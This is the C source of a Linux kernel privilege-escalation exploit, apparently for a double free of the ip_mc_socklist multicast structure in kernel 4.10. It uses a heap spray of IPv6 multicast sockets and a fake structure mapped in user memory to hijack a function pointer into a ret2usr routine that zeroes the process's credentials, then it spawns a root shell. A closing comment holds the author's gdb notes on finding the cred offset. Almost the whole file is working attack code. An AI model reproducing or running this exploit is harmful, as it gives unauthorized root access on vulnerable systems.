// gcc -static exp-ret2usr.c -o exp-ret2usr -lpthread
#include <stdio.h>
#include <stdlib.h>
#include <sys/select.h>  
#include <arpa/inet.h>  
#include <netdb.h> 
#include <string.h> 
#include <unistd.h> 
#include <netinet/in.h> 
#include <fcntl.h> 
#include <time.h> 
#include <sys/types.h>
#include <pthread.h>
#include <net/if.h>
#include <errno.h>
#include <assert.h>
#include <sys/mman.h>

#define SPRAY_SIZE 1000			// 5000
#define HELLO_WORLD_SERVER_PORT    8088  // server 的端口号

unsigned long*  find_get_pid = (unsigned long*)0xffffffff810a4310;	// 0xffffffff81077220    4.10.15-0xffffffff810a4310
unsigned long*  pid_task     = (unsigned long*)0xffffffff810a4260;	// 0xffffffff81077180    4.10.15-0xffffffff810a4260

void *client(void *arg);
void get_root();
int pid=0;

void get_root() {
    asm(
        "sub    $0x18,%rsp;"
        "mov    pid,%edi;"
        "callq  *find_get_pid;"
        "mov    %rax,-0x8(%rbp);"
        "mov    -0x8(%rbp),%rax;"
        "mov    $0x0,%esi;"
        "mov    %rax,%rdi;"
        "callq  *pid_task;"
        "mov    %rax,-0x10(%rbp);"
        "mov    -0x10(%rbp),%rax;"
        "mov    0x640(%rax),%rax;"
        "mov    %rax,-0x18(%rbp);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x4,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x8,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0xc,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x10,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x14,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x18,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x1c,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x20,%rax;"
        "movl   $0x0,(%rax);"
        "nop;"
        "leaveq ;" 
        "retq   ;"
        );

}
// spray_init —— 初始化 PF_INET6 类型的socket，用于堆喷
int sockfd[SPRAY_SIZE];
void spray_init() {	
	printf("[+] spray_init ... \n");
    for(int i=0; i<SPRAY_SIZE; i++) {

        if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) {      
           perror("Socket");
           exit(errno);
         }
    }
}
// heap_spray —— 堆喷，将 ip_mc_socklist 结构中的 next_rcu 指针指向用户空间的地址 0xcdab0000
void heap_spray() {
	printf("[+] begin to spray ... \n");
    struct sockaddr_in6 my_addr, their_addr; 
    unsigned int myport = 8000;

    bzero(&my_addr, sizeof(my_addr));
    my_addr.sin6_family = AF_INET6; 
    my_addr.sin6_port = htons(myport); 
    my_addr.sin6_addr = in6addr_any;  

    int opt =1;
    struct  group_req group1 = {0};

    struct sockaddr_in6 *psin1;

    psin1 = (struct sockaddr_in6 *)&group1.gr_group;
    psin1->sin6_family = AF_INET6;

    psin1->sin6_port = 1234;

    // cd ab 02 ff
    inet_pton(AF_INET6, "ff02:abcd:0:0:0:0:0:1", &(psin1->sin6_addr));  // 使 ip_mc_socklist 结构中的 next_rcu 指针指向用户空间的地址 0xcdab0000

    for(int j=0; j<SPRAY_SIZE; j++) {
        setsockopt(sockfd[j], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group1, sizeof (group1));
    }

}
// func_modify —— 子线程不断将 ip_mc_socklist 结构中的 func 指针修改为 get_root 函数地址
void *func_modify(void *arg){ 
        unsigned long fix_addr = 0xcdab02ff + 8*5;
        unsigned long func = (unsigned long)&get_root;
        while(1) {
            *(unsigned long *)(fix_addr) = func;    
        }
}

void exploit(){
        struct sockaddr_in server_addr;
        bzero(&server_addr,sizeof(server_addr));
        server_addr.sin_family = AF_INET;
        server_addr.sin_addr.s_addr = htons(INADDR_ANY);
        server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);

        struct  group_req group = {0};
        struct sockaddr_in *psin;

        psin = (struct sockaddr_in *)&group.gr_group;
        psin->sin_family = AF_INET;
        psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));
// 1. 创建 server 端的 socket, 使内核创建 ip_mc_socklist 对象
        int server_socket = socket(PF_INET,SOCK_STREAM,0);
        if( server_socket < 0){
            printf("[Server]Create Socket Failed!");
            exit(1);
        }


        int opt =1;
        setsockopt(server_socket, SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group)); 	// 设置MCAST_JOIN_GROUP选项，主要是让内核创建 ip_mc_socklist 对象
        if( bind(server_socket,(struct sockaddr*)&server_addr,sizeof(server_addr))){
            printf("[Server]Server Bind Port : %d Failed!", HELLO_WORLD_SERVER_PORT); 
            exit(1);
        }   
        if ( listen(server_socket, 10) ) {
            printf("[Server]Server Listen Failed!"); 
            exit(1);
        }
// 2. 创建 client 端 socket, 并向服务端相连-connect
        pthread_t id_client;
        pthread_create(&id_client,NULL,client,NULL);

        spray_init();		// spray_init —— 初始化 PF_INET6 类型的socket，用于堆喷 ipv6_mc_socklist 对象
// 3. server 开始接收 client - accept, 复制 mc_list 指针
        struct sockaddr_in client_addr;
        socklen_t length = sizeof(client_addr);

        printf ("[Server]accept..... \n"); 
        int new_server_socket = accept(server_socket,(struct sockaddr*)&client_addr,&length);  		// accept —— 开始和客户端连接，复制 mc_list 指针
        if ( new_server_socket < 0){
            close(server_socket);
            perror("[Server]Server Accept Failed!\n");
            return;
        }

// 4. 用户空间地址开始布置伪造的 ip_mc_socklist 结构, 子线程不断修改 func 指针
        unsigned long  fix_addr = 0xcdab0000;	// 用户空间 0xcdab0000 处布置伪造的 ip_mc_socklist 结构

        unsigned long * addr = (unsigned long *)mmap((void*)fix_addr, 1024, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS , -1, 0);
        if (addr == MAP_FAILED){
            perror("Failed to mmap: ");

            return;
        }

        addr = (unsigned long *)0x00000000cdab02ff;
        unsigned long func = (unsigned long)&get_root;


        addr[0] = 0x0;
        addr[1] = 0x0a0a02e0;
        addr[2] = 0x00000002;
        addr[3] = 0x0;
        addr[4] = 0x0;
        addr[5] = func;

        pthread_t id_func;
        pthread_create(&id_func,NULL,func_modify,NULL); // 子线程不断修改 func 指针
// 5. 关闭 accept 创建的 socket, 堆喷射篡改 ip_mc_socklist->next_rcu 指针, 关闭服务端 socket
        printf ("[Server]close server accept socket \n");
        close(new_server_socket);
        sleep(3);

        heap_spray();			// 开始进行堆喷

        printf ("[Server]close server socket \n");
        close(server_socket);

        sleep(1);
        printf(" current uid is : %d \n", getuid());
        printf(" current euid is : %d \n", geteuid());

        system("/bin/sh");
}
// client —— 创建客户端，和server端连接
void *client(void *arg){
	printf("[+] client connect ... \n");
    struct sockaddr_in client_addr;
    bzero(&client_addr,sizeof(client_addr));
    client_addr.sin_family=AF_INET;
    client_addr.sin_addr.s_addr=htons(INADDR_ANY);
    client_addr.sin_port=htons(0);
    int client_socket=socket(AF_INET,SOCK_STREAM,0);
    if(client_socket<0){
        printf("[Client]Create socket failed!\n");
        exit(1);
    }
    if(bind(client_socket,(struct sockaddr*)&client_addr,sizeof(client_addr))){
        printf("[Client] client bind port failed!\n");
        exit(1);
    }
    struct sockaddr_in server_addr;
    bzero(&server_addr,sizeof(server_addr));
    server_addr.sin_family=AF_INET;
    if(inet_aton("127.0.0.1",&server_addr.sin_addr)==0){
        printf("[Client]Server IP Address error\n");
        exit(0);
    }
    server_addr.sin_port=htons(HELLO_WORLD_SERVER_PORT); 		// 端口号
    socklen_t server_addr_length=sizeof(server_addr);
    if(connect(client_socket,(struct sockaddr*)&server_addr,server_addr_length)<0){
        printf("[Client]cannot connect to 127.0.0.1!\n");
        exit(1);
    }
    printf("[Client]Close client socket\n");
    close(client_socket);

    return NULL;

}

int main(int argc,char* argv[]) {   
        printf("pid : %d\n", getpid());
        printf("get_root: %p\n", &get_root);
        pid = getpid();
        exploit();

        return 0;
}

/*
Linux-v4.10.6
1.查看 申请 ip_mc_socklist 结构处
/exp $ cat /tmp/kallsyms | grep ip_mc_join_group
ffffffff81831890 T ip_mc_join_group
ffffffff81d5d100 r __ksymtab_ip_mc_join_group
ffffffff81daa61e r __kstrtab_ip_mc_join_group
/exp $ cat /tmp/kallsyms | grep ip_route_output      # 0xffffffff8182ee55
ffffffff817ebd00 T __ip_route_output_key_hash
ffffffff817ec980 T ip_route_output_flow

查看两次释放ip_mc_socklist结构的地方
/ $ cat /tmp/kallsyms | grep ip_mc_drop_socket
ffffffff81833270 T ip_mc_drop_socket
gdb-peda$ x /50i 0xffffffff81833270
   0xffffffff818332f7 <ip_mc_drop_socket+135>:	
    call   0xffffffff810f1250 <kfree_call_rcu>

2. shellcode修改 cred 失败，可能是 cred 相对于 task_struct 结构首地址的偏移找的有问题
gdb-peda$ x /50i 0x4009ce
   0x4009ce:	push   rbp
   0x4009cf:	mov    rbp,rsp
   0x4009d2:	sub    rsp,0x18
   0x4009d6:	mov    edi,DWORD PTR ds:0x6dbbf0
   0x4009dd:	call   QWORD PTR ds:0x6da090
   0x4009e4:	mov    QWORD PTR [rbp-0x8],rax
   0x4009e8:	mov    rax,QWORD PTR [rbp-0x8]
   0x4009ec:	mov    esi,0x0
   0x4009f1:	mov    rdi,rax
   0x4009f4:	call   QWORD PTR ds:0x6da098
   0x4009fb:	mov    QWORD PTR [rbp-0x10],rax
   0x4009ff:	mov    rax,QWORD PTR [rbp-0x10]
   0x400a03:	mov    rax,QWORD PTR [rax+0x640]
   0x400a0a:	mov    QWORD PTR [rbp-0x18],rax
   0x400a0e:	mov    rax,QWORD PTR [rbp-0x18]
   0x400a12:	add    rax,0x4
   0x400a16:	mov    DWORD PTR [rax],0x0
   0x400a1c:	mov    rax,QWORD PTR [rbp-0x18]
   0x400a20:	add    rax,0x8
   0x400a24:	mov    DWORD PTR [rax],0x0
   0x400a2a:	mov    rax,QWORD PTR [rbp-0x18]
   0x400a2e:	add    rax,0xc
=> 0x400a32:	mov    DWORD PTR [rax],0x0
   0x400a38:	mov    rax,QWORD PTR [rbp-0x18]
   0x400a3c:	add    rax,0x10
   0x400a40:	mov    DWORD PTR [rax],0x0
   0x400a46:	mov    rax,QWORD PTR [rbp-0x18]
   0x400a4a:	add    rax,0x14
   0x400a4e:	mov    DWORD PTR [rax],0x0
   0x400a54:	mov    rax,QWORD PTR [rbp-0x18]
   0x400a58:	add    rax,0x18
   0x400a5c:	mov    DWORD PTR [rax],0x0
   0x400a62:	mov    rax,QWORD PTR [rbp-0x18]
   0x400a66:	add    rax,0x1c
   0x400a6a:	mov    DWORD PTR [rax],0x0
   0x400a70:	mov    rax,QWORD PTR [rbp-0x18]
   0x400a74:	add    rax,0x20
   0x400a78:	mov    DWORD PTR [rax],0x0
   0x400a7e:	nop
   0x400a7f:	leave  
   0x400a80:	ret    
gdb-peda$ 
Warning: not running or target is remote
0x0000000000400a16 in ?? ()
gdb-peda$ 
Warning: not running or target is remote
0xffffffff818c8103 in page_fault () at arch/x86/entry/entry_64.S:1011
1011	trace_idtentry page_fault	do_page_fault		has_error_code=1


在 0x4009fb 处查看获取的 task_struct 结构具体是什么？
gdb-peda$ ni
Warning: not running or target is remote
0x00000000004009fb in ?? ()
gdb-peda$ i r
rax            0xffff88001fa5b500	0xffff88001fa5b500

gdb-peda$ p/x &(*(struct task_struct *)0)->cred				// 所以 cred成员相对于task_struct结构首地址相差 0x640, 需修改
$2 = 0x640

*/